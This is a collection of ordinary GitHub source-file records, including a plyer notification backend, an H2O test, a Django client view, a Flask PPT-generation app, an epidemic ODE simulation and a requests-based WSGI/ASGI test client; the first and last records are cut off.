\"--method\",\n \"org.freedesktop.portal.Notification.AddNotification\", \"\",\n \"{'title': <'\" + title + \"'>, 'body': <'\" + body + \"'>}\"\n ], stdout=subprocess.DEVNULL)\n\n\nclass NotifySendNotification(Notification):\n '''\n Implementation of Linux notification API\n using notify-send binary.\n '''\n def _notify(self, **kwargs):\n icon = kwargs.get('icon', '')\n title = kwargs.get('title', 'title')\n hint = kwargs.get('hint', 'string::')\n message = kwargs.get('message', 'body')\n category = kwargs.get('category', '')\n app_name = kwargs.get('app_name', '')\n urgency = kwargs.get('urgency', 'normal')\n expire_time = kwargs.get('expire_time', '0')\n\n notify_send_args = (title,\n message,\n \"-i\", icon,\n \"-h\", hint,\n \"-u\", urgency,\n \"-c\", category,\n \"-a\", app_name,\n \"-t\", expire_time)\n\n subprocess.call([\"notify-send\", *notify_send_args])\n\n\nclass NotifyDbus(Notification):\n '''\n Implementation of Linux notification API\n using dbus library and dbus-python wrapper.\n '''\n\n def _notify(self, **kwargs):\n summary = kwargs.get('title', \"title\")\n body = kwargs.get('message', \"body\")\n app_name = kwargs.get('app_name', '')\n app_icon = kwargs.get('app_icon', '')\n timeout = kwargs.get('timeout', 10)\n actions = kwargs.get('actions', [])\n hints = kwargs.get('hints', {})\n replaces_id = kwargs.get('replaces_id', 0)\n\n _bus_name = 'org.freedesktop.Notifications'\n _object_path = '/org/freedesktop/Notifications'\n _interface_name = _bus_name\n\n import dbus\n session_bus = dbus.SessionBus()\n obj = session_bus.get_object(_bus_name, _object_path)\n interface = dbus.Interface(obj, _interface_name)\n interface.Notify(\n app_name, replaces_id, app_icon,\n summary, body, actions,\n hints, timeout * 1000\n )\n\n\ndef instance():\n '''\n Instance for facade proxy.\n '''\n if os.path.isdir(\"/app\"):\n # Flatpak\n return NotifyDesktopPortals()\n try:\n import dbus # noqa: F401\n return NotifyDbus()\n except ImportError:\n msg = (\"The Python dbus package is not installed.\\n\"\n \"Try installing it with your distribution's package manager, \"\n \"it is usually called python-dbus or python3-dbus, but you \"\n \"might have to try dbus-python instead, e.g. when using pip.\")\n warnings.warn(msg)\n\n if whereis_exe('notify-send'):\n return NotifySendNotification()\n warnings.warn(\"notify-send not found.\")\n return Notification()\n","repo_name":"kivy/plyer","sub_path":"plyer/platforms/linux/notification.py","file_name":"notification.py","file_ext":"py","file_size_in_byte":3443,"program_lang":"python","lang":"en","doc_type":"code","stars":1476,"dataset":"github-code","pt":"61"} +{"seq_id":"13350842814","text":"from builtins import range\nimport sys\nsys.path.insert(1,\"../../\")\nimport h2o\nfrom tests import pyunit_utils\nimport random\nfrom h2o.estimators.gbm import H2OGradientBoostingEstimator\n\ndef all_confusion_matrix_funcs():\n \n \n\n metrics = [\"recall\", \"specificity\", \"min_per_class_accuracy\", \"absolute_mcc\", \"precision\", \"accuracy\", \"f0point5\", \"f2\", \"f1\", \"mean_per_class_accuracy\"]\n train = [True, False]\n valid = [True, False]\n\n print(\"PARSING TRAINING DATA\")\n air_train = h2o.import_file(path=pyunit_utils.locate(\"smalldata/airlines/AirlinesTrain.csv.zip\"))\n air_train[\"IsDepDelayed\"] = air_train[\"IsDepDelayed\"].asfactor()\n\n\n print(\"PARSING TESTING DATA\")\n air_test = h2o.import_file(path=pyunit_utils.locate(\"smalldata/airlines/AirlinesTest.csv.zip\"))\n air_test[\"IsDepDelayed\"] = air_test[\"IsDepDelayed\"].asfactor()\n print()\n print(\"RUNNING FIRST GBM: \")\n print()\n gbm_bin = H2OGradientBoostingEstimator(distribution=\"bernoulli\")\n gbm_bin.train(x=[\"Origin\", \"Dest\", \"Distance\", \"UniqueCarrier\", \"fMonth\", \"fDayofMonth\",\"fDayOfWeek\"],\n y=\"IsDepDelayed\", training_frame=air_train, validation_frame=air_test)\n\n print()\n print(\"RUNNING SECOND GBM: \")\n print()\n air_train[\"fDayOfWeek\"] = air_train[\"fDayOfWeek\"].asfactor()\n\n air_test[\"fDayOfWeek\"] = air_test[\"fDayOfWeek\"].asfactor()\n\n gbm_mult = H2OGradientBoostingEstimator( distribution=\"multinomial\")\n gbm_mult.train(x=[\"Origin\", \"Dest\", \"Distance\", \"UniqueCarrier\", \"IsDepDelayed\", \"fDayofMonth\", \"fMonth\"],\n y=\"fDayOfWeek\", training_frame=air_train, validation_frame=air_test)\n\n def dim_check(cm, m, t, v):\n assert len(cm) == 2 and len(cm[0]) == 2 and len(cm[1]) == 2, \"incorrect confusion matrix dimensions \" \\\n \"for metric/thresh: {0}, train: {1}, valid: \" \\\n \"{2}\".format(m, t, v)\n\n def type_check(cm, m, t, v):\n assert isinstance(cm[0][0], (int, float)) and isinstance(cm[0][1], (int, float)) and \\\n isinstance(cm[1][0], (int, float)) and isinstance(cm[0][0], (int, float)), \\\n \"confusion matrix entries should be integers or floats but got {0}, {1}, {2}, {3}. metric/thresh: {4}, \" \\\n \"train: {5}, valid: {6}\".format(type(cm[0][0]), type(cm[0][1]), type(cm[1][0]), type(cm[1][1]), m,\n t, v)\n\n def count_check(cm, m, t, v):\n if v:\n assert cm[0][0] + cm[0][1] + cm[1][0] + cm[1][1] == air_test.nrow, \\\n \"incorrect confusion matrix elements: {0}, {1}, {2}, {3}. Should sum \" \\\n \"to {4}. metric/thresh: {5}, train: {6}, valid: {7}\".format(cm[0][0], cm[0][1], cm[1][0], cm[1][1],\n air_test.nrow, m, t, v)\n else:\n assert cm[0][0] + cm[0][1] + cm[1][0] + cm[1][1] == air_train.nrow, \\\n \"incorrect confusion matrix elements: {0}, {1}, {2}, {3}. Should sum \" \\\n \"to {4}. metric/thresh: {5}, train: {6}, valid: {7}\".format(cm[0][0], cm[0][1], cm[1][0], cm[1][1],\n air_train.nrow, m, t, v)\n\n # H2OBinomialModel.confusion_matrix()\n for m in metrics:\n for t in train:\n for v in valid:\n if t and v: continue\n cm = gbm_bin.confusion_matrix(metrics=m, train=t, valid=v)\n if cm:\n cm = cm.to_list()\n dim_check(cm, m, t, v)\n type_check(cm, m, t, v)\n count_check(cm, m, t, v)\n\n # H2OBinomialModel.confusion_matrix()\n for x in range(10):\n for t in train:\n for v in valid:\n if t and v: continue\n thresholds = [gbm_bin.find_threshold_by_max_metric(m,t,v) for m in\n random.sample(metrics,random.randint(1,len(metrics)))]\n cms = gbm_bin.confusion_matrix(thresholds=thresholds, train=t, valid=v)\n if not isinstance(cms, list): cms = [cms]\n for idx, cm in enumerate(cms):\n cm = cm.to_list()\n dim_check(cm, thresholds[idx], t, v)\n type_check(cm, thresholds[idx], t, v)\n count_check(cm, thresholds[idx], t, v)\n\n # H2OMultinomialModel.confusion_matrix()\n cm = gbm_mult.confusion_matrix(data=air_test)\n cm_count = 0\n for r in range(7):\n for c in range(7):\n cm_count += cm.cell_values[r][c]\n assert cm_count == air_test.nrow, \"incorrect confusion matrix elements. Should sum to {0}, but got {1}\".\\\n format(air_test.nrow, cm_count)\n\n # H2OBinomialModelMetrics.confusion_matrix()\n bin_perf = gbm_bin.model_performance(valid=True)\n for metric in metrics:\n cm = bin_perf.confusion_matrix(metrics=metric).to_list()\n dim_check(cm, metric, False, True)\n type_check(cm, metric, False, True)\n count_check(cm, metric, False, True)\n\n # H2OBinomialModelMetrics.confusion_matrix()\n bin_perf = gbm_bin.model_performance(train=True)\n for x in range(10):\n thresholds = [gbm_bin.find_threshold_by_max_metric(m,t,v) for m in\n random.sample(metrics,random.randint(1,len(metrics)))]\n cms = bin_perf.confusion_matrix(thresholds=thresholds)\n if not isinstance(cms, list): cms = [cms]\n for idx, cm in enumerate(cms):\n cm = cm.to_list()\n dim_check(cm, thresholds[idx], True, False)\n type_check(cm, thresholds[idx], True, False)\n count_check(cm, thresholds[idx], True, False)\n\n # H2OMultinomialModelMetrics.confusion_matrix()\n mult_perf = gbm_mult.model_performance(valid=True)\n cm = mult_perf.confusion_matrix()\n cm_count = 0\n for r in range(7):\n for c in range(7):\n cm_count += cm.cell_values[r][c]\n assert cm_count == air_test.nrow, \"incorrect confusion matrix elements. Should sum to {0}, but got {1}\". \\\n format(air_test.nrow, cm_count)\n\n\n\nif __name__ == \"__main__\":\n pyunit_utils.standalone_test(all_confusion_matrix_funcs)\nelse:\n all_confusion_matrix_funcs()\n","repo_name":"h2oai/h2o-3","sub_path":"h2o-py/tests/testdir_misc/pyunit_all_confusion_matrix_funcs.py","file_name":"pyunit_all_confusion_matrix_funcs.py","file_ext":"py","file_size_in_byte":6315,"program_lang":"python","lang":"en","doc_type":"code","stars":6553,"dataset":"github-code","pt":"61"} +{"seq_id":"35308035128","text":"\"\"\"\nAssociação - Algo mais fraco - A classe não depende da outra classe...\nEssa relação é chamada de \"USA\" (uma classe usa a outra).\n\n\"\"\"\n\nfrom classes import Escritor\nfrom classes import Caneta\nfrom classes import MaquinaDeEscrever\n\nescritor = Escritor('Joãozinho')\ncaneta = Caneta('Bic')\nmaquina = MaquinaDeEscrever()\n\nescritor.ferramenta = maquina\nescritor.ferramenta.escrever()\n\ndel escritor\nprint(caneta.marca)\nmaquina.escrever()\n\n","repo_name":"raphael-d-cordeiro/Python_Public","sub_path":"POO/associacao/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4160812888","text":"#Russell Arlt\n#Hands on #1\n\nprint(\"-----------------------Exercise 9-1-----------------------\")\n\nclass Restaurant:\n def __init__(self, restaurant_name, cuisine_type):\n self.name = restaurant_name\n self.cuisine = cuisine_type\n \nr = Restaurant(\"The Good Bowl\", \"Vietnamese\")\ndef describe_restaurant(r):\n print(\"Restaurant = \" + r.name)\n print(\"Cuisine = \" + r.cuisine) \n\ndef open_restaurant(self):\n print(f\"{self.name} is open.\") \n\ndescribe_restaurant(r)\nopen_restaurant(r)\n\nmy_rest = Restaurant(\"Hamtown\", \"Ham\")\n\nprint(f\"{my_rest.name} is where we get {my_rest.cuisine}\")\ndescribe_restaurant(my_rest)\nopen_restaurant(my_rest)\n\nprint(\"-----------------------Exercise 9-2-----------------------\")\n\nrestaurant_one = Restaurant(\"Bubbas\", \"American\")\nrestaurant_two = Restaurant(\"Hunan\", \"Chinese\")\nrestaurant_three = Restaurant(\"Spanglish\", \"Mexican\")\ndescribe_restaurant(restaurant_one)\ndescribe_restaurant(restaurant_two)\ndescribe_restaurant(restaurant_three)\n\n","repo_name":"RiggityRussell/CIT228","sub_path":"Chapter9/restaurant_class.py","file_name":"restaurant_class.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70298965314","text":"#!/usr/bin/env python3\n\"\"\"PyTest tests for the nhmmer_scaffolds.py module.\n\"\"\"\nimport os\nimport sys\nsys.path.append(os.path.join(os.path.dirname(sys.path[0]),'amoebaelib'))\n\nfrom nhmmer_scaffolds import \\\nframeify_seq\n\n\ndef test_frameify_seq():\n \"\"\"Test the frameify_seq function in the nhmmer_scaffolds.py file.\n \"\"\"\n ##########################\n # Arrange.\n inseq1 = 'ATGATGATG'\n hmmfrom1 = '1'\n expect1 = 'ATGATGATG'\n\n inseq2 = 'TGATGATG'\n hmmfrom2 = '2'\n expect2 = 'ATGATG'\n\n inseq3 = 'GATGATG'\n hmmfrom3 = '3'\n expect3 = 'ATGATG'\n\n ##########################\n # Act.\n result1 = frameify_seq(inseq1, hmmfrom1)\n result2 = frameify_seq(inseq2, hmmfrom2)\n result3 = frameify_seq(inseq3, hmmfrom3)\n\n ##########################\n # Assert.\n assert result1 == expect1 \n assert result2 == expect2\n assert result3 == expect3\n\n\n","repo_name":"laelbarlow/amoebae","sub_path":"tests/test_nhmmer_scaffolds.py","file_name":"test_nhmmer_scaffolds.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"61"} +{"seq_id":"70758502276","text":"class Solution:\n def kWeakestRows(self, mat: List[List[int]], k: int) -> List[int]:\n res = []\n for i in range(len(mat)):\n cnt = 0\n for j in range(len(mat[0])):\n if mat[i][j]:\n cnt += 1\n pair = [cnt, i]\n res.append(pair)\n res.sort(key=lambda x: x[0], reverse = False)\n res = res[0:k]\n ans = []\n for c in res:\n ans.append(c[1])\n return ans ","repo_name":"aso2001/LeetCode","sub_path":"1337-the-k-weakest-rows-in-a-matrix/1337-the-k-weakest-rows-in-a-matrix.py","file_name":"1337-the-k-weakest-rows-in-a-matrix.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29323861060","text":"from django.shortcuts import render\nfrom django.http import HttpResponse, JsonResponse\nfrom .models import Client\nimport re\nfrom django.shortcuts import redirect, get_object_or_404\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.core import serializers\nfrom django.urls import reverse\nimport json\n\ndef client(request):\n if request.method == \"GET\":\n clients_list = Client.objects.all()\n if clients_list:\n return render(request, 'client.html', {'clients': clients_list})\n else:\n return render(request, 'client.html')\n \n elif request.method == \"POST\":\n name = request.POST.get('name')\n last_name = request.POST.get('last_name')\n email = request.POST.get('email')\n phone = request.POST.get('phone')\n cpf = request.POST.get('cpf')\n \n empty_field = str()\n if len(name) <= 0:\n empty_field +='Name, '\n if len(last_name) <= 0:\n empty_field +='Last name, '\n if len(email) <= 0:\n empty_field +='Email, '\n if len(phone) <= 0:\n empty_field +='Phone, '\n if len(cpf) <= 0:\n empty_field +='CPF'\n \n if not empty_field:\n client = Client.objects.filter(cpf=cpf)\n\n if client.exists():\n return render(request, 'client.html', {\"message\": \"client already exists\", 'name':name, 'last_name':last_name, 'email':email, 'phone':phone, 'cpf':cpf})\n \n if not re.fullmatch(re.compile(r'([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\\.[A-Z|a-z]{2,})+'), email):\n return render(request, 'client.html', {'name':name, 'last_name':last_name, 'phone':phone, 'cpf':cpf})\n else:\n return render(request, 'client.html', {\"message\": \"Field: \" + empty_field + \" cannot be empty\", 'name':name, 'last_name':last_name, 'phone':phone, 'cpf':cpf, 'email':email, 'phone':phone})\n \n client = Client(\n name = name,\n last_name = last_name,\n email = email,\n phone = phone,\n cpf = cpf\n )\n client.save() \n\n return render(request, 'client.html')\ndef update_client(id):\n print('the id:', id)\n return HttpResponse({\"teste\":1})\n# def update_client(request, id):\n# body = json.loads(request.body)\n\n# name = body['name']\n# last_name = body['last_name']\n# email = body['email']\n# cpf = body['cpf']\n# phone = body['phone']\n\n# client = get_object_or_404(client, id=id)\n# try:\n# client.name = name\n# client.last_name = last_name\n# client.email = email\n# client.cpf = cpf\n# client.phone = phone\n# client.save()\n# return JsonResponse({'status': '200', 'name': name, 'last_name': last_name, 'email': email, 'cpf': cpf, 'phone': phone})\n# except:\n# return JsonResponse({'status': '500'})","repo_name":"pctmoraes/gymneutron","sub_path":"client/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2938,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"42432575321","text":"import datetime\nimport logging\nimport uuid\n\nfrom flask import Flask, request, make_response, render_template, Response, send_from_directory\nfrom flask_cors import CORS\n\nfrom generation.gen_ppt_outline import GenBody, GenTitle, GenOutline\nfrom mdtree.tree2ppt import Tree2PPT\n\napp = Flask(__name__)\n# 设置日志级别\napp.logger.setLevel(logging.DEBUG)\n\n# 创建日志处理器\nhandler = logging.FileHandler('app.log', encoding='utf-8')\nhandler.setLevel(logging.DEBUG)\n\n# 创建日志格式\nformatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')\nhandler.setFormatter(formatter)\n# 添加日志处理器到应用程序记录器\napp.logger.addHandler(handler)\n# from flask_cors import CORS\n\napp = Flask(__name__)\n\n# 允许跨域\nCORS(app)\n\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n\n@app.route('/static/js/')\ndef serve_js(filename):\n return send_from_directory('./templates/static/js', filename)\n\n\n@app.route('/static/css/')\ndef serve_css(filename):\n return send_from_directory('./templates/static/css', filename)\n\n\n@app.route('/static/media/')\ndef serve_media(filename):\n return send_from_directory('./templates/static/media', filename)\n\n\n@app.route('/auto-ppt/gen-uuid', methods=['GET'])\ndef get_uuid():\n random_uuid = str(uuid.uuid4())\n # todo 将ip地址和uuid 在redis缓存 对话历史记录\n return random_uuid\n\n\n@app.route('/generate_title', methods=(\"GET\", \"POST\"))\ndef stream1():\n if request.method == \"POST\":\n title = request.json[\"title\"]\n uuid = request.json[\"uuid\"]\n ip_address = request.remote_addr\n app.logger.info(f'ip地址为 {ip_address}\\t uuid 为 {uuid}\\t生成了标题')\n role = request.json[\"role\"]\n form = request.json[\"form\"]\n topic_num = request.json[\"topic_num\"]\n gen_title_v2 = GenTitle(uuid)\n return Response(gen_title_v2.predict_title_v2(form, role, title, topic_num),\n mimetype='application/octet-stream')\n\n\n@app.route('/generate_outline', methods=['POST'])\ndef stream2():\n if request.method == \"POST\":\n uuid = request.json[\"uuid\"]\n title = request.json[\"title\"]\n ip_address = request.remote_addr\n app.logger.info(f'ip地址为 {ip_address}\\t uuid 为 {uuid}\\t生成了大纲')\n requirement = request.json[\"requirement\"]\n gen_outline_v2 = GenOutline(uuid)\n return Response(gen_outline_v2.predict_outline_v2(title, requirement), mimetype='application/octet-stream')\n\n\n@app.route('/generate_body', methods=['POST'])\ndef stream3():\n if request.method == \"POST\":\n uuid = request.json[\"uuid\"]\n outline = request.json[\"outline\"]\n ip_address = request.remote_addr\n app.logger.info(f'ip地址为 {ip_address}\\t uuid 为 {uuid}\\t生成了全文')\n requirement = request.json[\"requirement\"]\n gen_body1 = GenBody(uuid)\n # 以流的方式返回结果\n return Response(gen_body1.predict_body(outline, requirement), mimetype='application/octet-stream')\n\n\n@app.route('/generate_ppt', methods=['POST'])\ndef gen_ppt():\n if request.method == \"POST\":\n markdown_data = request.json[\"paper\"]\n if not markdown_data:\n return 'No data provided', 400\n markdown_str = markdown_data.replace('\\r', '\\n')\n print(markdown_str)\n ip_address = request.remote_addr\n app.logger.info(f'ip地址为 {ip_address}\\t uuid md转换生成了ppt')\n ppt = Tree2PPT(markdown_str)\n stream = ppt.save_stream()\n response = make_response(stream)\n now = datetime.datetime.now().timestamp()\n response.headers['Content-Disposition'] = 'attachment; filename=' + str(now) + '.pptx'\n return response\n\n\n# old outdated\n@app.route('/ppt', methods=['GET'])\ndef stream():\n title1 = request.args.get('title') # 获取title参数的值\n\n session_id = str(uuid.uuid4())\n\n title = GenTitle(session_id)\n title.predict_title(title1)\n\n outline = GenOutline(session_id)\n outline.predict_outline(\"1\")\n\n body = GenBody(session_id)\n md = body.predict_body(\"\")\n\n ppt = Tree2PPT(md)\n stream = ppt.save_stream()\n response = make_response(stream)\n response.headers['Content-Disposition'] = 'attachment; filename=file.pptx_static'\n return response\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=5000, debug=True)\n","repo_name":"limaoyi1/Auto-PPT","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":4421,"program_lang":"python","lang":"en","doc_type":"code","stars":129,"dataset":"github-code","pt":"61"} +{"seq_id":"73458832835","text":"#!/usr/bin/python3\n\nfrom random import choice\n\nseries = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 'A', 'B', 'C', 'D', 'E']\n\n\ndef sort_ticket():\n ticket = ''\n for count in range(1, 5):\n ticket += str(choice(series))\n print(f\"The ticket serie '{ticket}' win a prize!!!\")\n\nif __name__ == '__main__':\n sort_ticket()\n","repo_name":"dersonf/python-crash","sub_path":"capitulo09/exercicios/lottery.py","file_name":"lottery.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7726052748","text":"import json\nfrom typing import Optional\n\nimport click\n\nfrom ode_solving import solve_ode\nfrom visualization import show_multiple_results\n\n\n@click.command('quarantine-end-prediction')\n@click.option('--parameters-path', prompt='Parameters path', help='path where model parameters are stored.',\n required=True)\n@click.option('--simulation-duration', prompt='Simulation duration', help='Duration of simulation.', default=100)\n@click.option('--offset', prompt='Offset from day 0', help='Offset from day 0 when showing.', default=0)\n@click.option('--top-lim', help='Offset from day 0 when showing.', type=int)\ndef simulate_quarantine_end(parameters_path: str, simulation_duration: int = 100, offset: int = 0,\n top_lim: Optional[int] = None):\n with open(parameters_path) as data_file:\n parameters = json.load(data_file)\n\n result_list = []\n for quarantine_2_duration, date in parameters[\"quarantine_2_duration_list\"]:\n results = solve_ode(sm0=parameters[\"suspected_medical_initial\"],\n se0=parameters[\"suspected_essential_initial\"],\n so0=parameters[\"suspected_others_initial\"],\n e0=parameters[\"exposed_initial\"],\n i0=parameters[\"infected_initial\"],\n q0=parameters[\"quarantined_initial\"],\n r0=parameters[\"recovered_initial\"],\n d0=parameters[\"deceased_initial\"],\n quarantine_start=parameters[\"quarantine_start\"],\n quarantine_1_duration=parameters[\"quarantine_1_duration\"],\n quarantine_2_duration=quarantine_2_duration,\n simulation_duration=simulation_duration,\n gamma=parameters[\"gamma\"],\n m_gamma_reduction_1=parameters[\"gamma\"] / parameters[\"gamma_m_1\"],\n e_gamma_reduction_1=parameters[\"gamma\"] / parameters[\"gamma_e_1\"],\n o_gamma_reduction_1=parameters[\"gamma\"] / parameters[\"gamma_o_1\"],\n m_gamma_reduction_2=parameters[\"gamma_m_1\"] / parameters[\"gamma_m_2\"],\n e_gamma_reduction_2=parameters[\"gamma_e_1\"] / parameters[\"gamma_e_2\"],\n o_gamma_reduction_2=parameters[\"gamma_o_1\"] / parameters[\"gamma_o_2\"],\n alpha=parameters[\"alpha\"],\n delta=parameters[\"delta\"],\n sigma=parameters[\"sigma\"],\n r_i=parameters[\"r_i\"],\n r_q=parameters[\"r_q\"],\n d_i=parameters[\"d_i\"],\n d_q=parameters[\"d_q\"])\n end_day = parameters[\"quarantine_start\"] + parameters[\"quarantine_1_duration\"] + quarantine_2_duration\n result_list.append((results, date, end_day))\n\n show_multiple_results(result_list, offset=offset, top_lim=top_lim,\n gt_data=parameters.get('gt_data', None))\n\n\nif __name__ == '__main__':\n simulate_quarantine_end()\n","repo_name":"beethedata/multi-phase-partitioned-SEIQRD","sub_path":"quarantine_end.py","file_name":"quarantine_end.py","file_ext":"py","file_size_in_byte":3178,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"13808298898","text":"import asyncio\nimport io\nimport typing\nfrom urllib.parse import unquote, urlparse\n\nimport requests\n\n\nclass _HeaderDict(requests.packages.urllib3._collections.HTTPHeaderDict):\n def get_all(self, key, default):\n return self.getheaders(key)\n\n\nclass _MockOriginalResponse(object):\n \"\"\"\n We have to jump through some hoops to present the response as if\n it was made using urllib3.\n \"\"\"\n def __init__(self, headers):\n self.msg = _HeaderDict(headers)\n self.closed = False\n\n def isclosed(self):\n return self.closed\n\n def close(self):\n self.closed = True\n\n\nclass _WSGIAdapter(requests.adapters.HTTPAdapter):\n \"\"\"\n A transport adapter for `requests` that makes requests directly to a\n WSGI app, rather than making actual HTTP requests over the network.\n \"\"\"\n def __init__(self, app: typing.Callable) -> None:\n self.app = app\n\n def get_environ(self, request: requests.PreparedRequest) -> typing.Dict[str, typing.Any]:\n \"\"\"\n Given a `requests.PreparedRequest` instance, return a WSGI environ dict.\n \"\"\"\n body = request.body\n if isinstance(body, str):\n body_bytes = body.encode(\"utf-8\") # type: bytes\n else:\n body_bytes = body\n\n url_components = urlparse(request.url)\n environ = {\n 'REQUEST_METHOD': request.method,\n 'wsgi.url_scheme': url_components.scheme,\n 'SCRIPT_NAME': '',\n 'PATH_INFO': unquote(url_components.path),\n 'wsgi.input': io.BytesIO(body_bytes),\n } # type: typing.Dict[str, typing.Any]\n\n if url_components.query:\n environ['QUERY_STRING'] = url_components.query\n\n if url_components.port:\n environ['SERVER_NAME'] = url_components.hostname\n environ['SERVER_PORT'] = str(url_components.port)\n else:\n environ['HTTP_HOST'] = url_components.hostname\n\n for key, value in request.headers.items():\n key = key.upper().replace('-', '_')\n if key not in ('CONTENT_LENGTH', 'CONTENT_TYPE'):\n key = 'HTTP_' + key\n environ[key] = value\n\n return environ\n\n def send(self, request, *args, **kwargs):\n \"\"\"\n Make an outgoing request to a WSGI application.\n \"\"\"\n raw_kwargs = {}\n\n def start_response(wsgi_status, wsgi_headers):\n status, _, reason = wsgi_status.partition(' ')\n raw_kwargs['status'] = int(status)\n raw_kwargs['reason'] = reason\n raw_kwargs['headers'] = wsgi_headers\n raw_kwargs['version'] = 11\n raw_kwargs['preload_content'] = False\n raw_kwargs['original_response'] = _MockOriginalResponse(wsgi_headers)\n\n # Make the outgoing request via WSGI.\n environ = self.get_environ(request)\n wsgi_response = self.app(environ, start_response)\n\n # Build the underlying urllib3.HTTPResponse\n raw_kwargs['body'] = io.BytesIO(b''.join(wsgi_response))\n raw = requests.packages.urllib3.HTTPResponse(**raw_kwargs)\n\n # Build the requests.Response\n return self.build_response(request, raw)\n\n\nclass _ASGIAdapter(requests.adapters.HTTPAdapter):\n def __init__(self, app: typing.Callable) -> None:\n self.app = app\n\n def send(self, request, *args, **kwargs):\n scheme, netloc, path, params, query, fragement = urlparse(request.url)\n if ':' in netloc:\n host, port = netloc.split(':', 1)\n port = int(port)\n else:\n host = netloc\n port = {'http': 80, 'https': 443}[scheme]\n\n # Include the 'host' header.\n if 'host' in request.headers:\n headers = []\n elif port == 80:\n headers = [[b'host', host.encode()]]\n else:\n headers = [[b'host', ('%s:%d' % (host, port)).encode()]]\n\n # Include other request headers.\n headers += [\n [key.encode(), value.encode()]\n for key, value in request.headers.items()\n ]\n\n scope = {\n 'type': 'http',\n 'http_version': '1.1',\n 'method': request.method,\n 'path': unquote(path),\n 'root_path': '',\n 'scheme': scheme,\n 'query_string': query.encode(),\n 'headers': headers,\n 'client': ['testclient', 50000],\n 'server': [host, port],\n }\n\n async def receive():\n body = request.body\n if isinstance(body, str):\n body_bytes = body.encode(\"utf-8\") # type: bytes\n elif body is None:\n body_bytes = b''\n else:\n body_bytes = body\n return {\n 'type': 'http.request',\n 'body': body_bytes,\n }\n\n async def send(message):\n if message['type'] == 'http.response.start':\n raw_kwargs['version'] = 11\n raw_kwargs['status'] = message['status']\n raw_kwargs['headers'] = [\n (key.decode(), value.decode())\n for key, value in message['headers']\n ]\n raw_kwargs['preload_content'] = False\n raw_kwargs['original_response'] = _MockOriginalResponse(raw_kwargs['headers'])\n elif message['type'] == 'http.response.body':\n raw_kwargs['body'] = io.BytesIO(message['body'])\n elif message['type'] == 'http.disconnect':\n pass\n else:\n raise Exception(\"Unknown ASGI message type: %s\" % message['type'])\n\n raw_kwargs = {}\n connection = self.app(scope)\n\n loop = asyncio.get_event_loop()\n loop.run_until_complete(connection(receive, send))\n\n raw = requests.packages.urllib3.HTTPResponse(**raw_kwargs)\n return self.build_response(request, raw)\n\n\nclass _TestClient(requests.Session):\n def __init__(self, app: typing.Callable, scheme: str, hostname: str) -> None:\n super(_TestClient, self).__init__()\n if app.interface == 'asgi':\n adapter = _ASGIAdapter(app)\n else:\n adapter = _WSGIAdapter(app)\n self.mount('http://', adapter)\n self.mount('https://', adapter)\n self.headers.update({'User-Agent': 'testclient'})\n self.scheme = scheme\n self.hostname = hostname\n\n def request(self, method: str, url: str, **kwargs) -> requests.Response: # type: ignore\n if not (url.startswith('http:') or url.startswith('https:')):\n assert url.startswith('/'), (\n \"TestClient expected either \"\n \"an absolute URL starting 'http:' / 'https:', \"\n \"or a relative URL starting with '/'. URL was '%s'.\" % url\n )\n url = '%s://%s%s' % (self.scheme, self.hostname, url)\n return super().request(method, url, **kwargs)\n\n\ndef TestClient(app: typing.Callable, scheme: str='http', hostname: str='testserver') -> _TestClient:\n \"\"\"\n We have to work around py.test discovery attempting to pick up\n the `TestClient` class, by declaring this as a function.\n \"\"\"\n return _TestClient(app, scheme, hostname)\n","repo_name":"gerenciagram/celerystar","sub_path":"celerystar_apistar/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":7240,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"61"} +{"seq_id":"39845892966","text":"from django.urls import path\nfrom django.contrib.auth import views as auth_views\nfrom . import views\n\n\nurlpatterns = [\n path('logout/', views.log_out, name=\"logout\"),\n path('accounts/login/', auth_views.LoginView.as_view(), name=\"login\"),\n path('accounts/signup/', views.SignUpView.as_view(), name=\"signup\"),\n path('', views.HomeView.as_view(), name='home'),\n path('ingredients/', views.IngredientsView.as_view(), name='ingredients'),\n path('ingredients/create/', views.CreateIngredientView.as_view(), name='create_ingredient'),\n path('menuitems/', views.MenuItemsView.as_view(), name='menuitems'),\n path('menuitems/create/', views.CreateMenuItemView.as_view(), name='create_menuitem'),\n path('reciperequirements/', views.RecipesRequirementsView.as_view(), name='reciperequirements'),\n path('reciperequirements/create/', views.CreateRecipeRequirementView.as_view(), name='create_reciperequirement'),\n path('purchases/', views.PurchasesView.as_view(), name='purchases'),\n path('purchases/create/', views.CreatePurchaseView.as_view(), name='create_purchase')\n]","repo_name":"RemoCode/restaurant","sub_path":"burgerplace/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8851922722","text":"from stable_baselines.common.callbacks import BaseCallback\nimport numpy as np\n\nclass TrainingCallback(BaseCallback):\n \"\"\"\n A custom callback that derives from ``BaseCallback``.\n\n :param verbose: (int) Verbosity level 0: not output 1: info 2: debug\n \"\"\"\n def __init__(self, verbose=0, eval_interval=10, episode_length=100, env_eval=None, model_name=None, folder=None, save=False):\n 